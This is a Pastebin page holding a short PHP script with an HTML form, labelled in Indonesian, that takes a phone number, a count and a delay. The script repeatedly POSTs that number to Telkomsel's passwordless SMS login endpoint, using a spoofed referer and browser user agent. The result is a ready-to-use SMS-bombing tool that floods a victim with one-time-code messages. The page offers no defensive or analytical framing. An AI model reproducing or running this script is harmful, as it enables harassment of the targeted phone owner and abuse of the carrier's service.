Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <pre>
- <form method="POST">
- <label><b>Nomor :</b></label> <input class="form-control" type="number" placeholder="628 or 08" name="nomer" id="nomer" value="" required>
- <label><b>Jumlah :</b></label> <input class="form-control" type="number" placeholder="1-10" name="jumlah" id="jumlah" required>
- <label><b>Delay :</b></label> <input class="form-control" type="number" placeholder="1" name="jeda" id="jeda" required>
- <br>
- <input type="submit" class="form-control">
- <?php
- function mytsel($no, $jum, $wait){
- $x = 0;
- while($x < $jum) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL,"https://tdwidm.telkomsel.com/passwordless/start");
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"phone_number=%2B".$no."&connection=sms");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_REFERER, 'https://my.telkomsel.com/');
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
- $server_output = curl_exec ($ch);
- curl_close ($ch);
- echo $server_output."\n";
- sleep($wait);
- $x++;
- flush();
- }
- }
- $nomor = $_POST['nomer'];
- $jumlah = $_POST['jumlah'];
- $jeda = $_POST['jeda'];
- $execute = mytsel($nomor, $jumlah, $jeda);
- print $execute;
- ?></pre>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement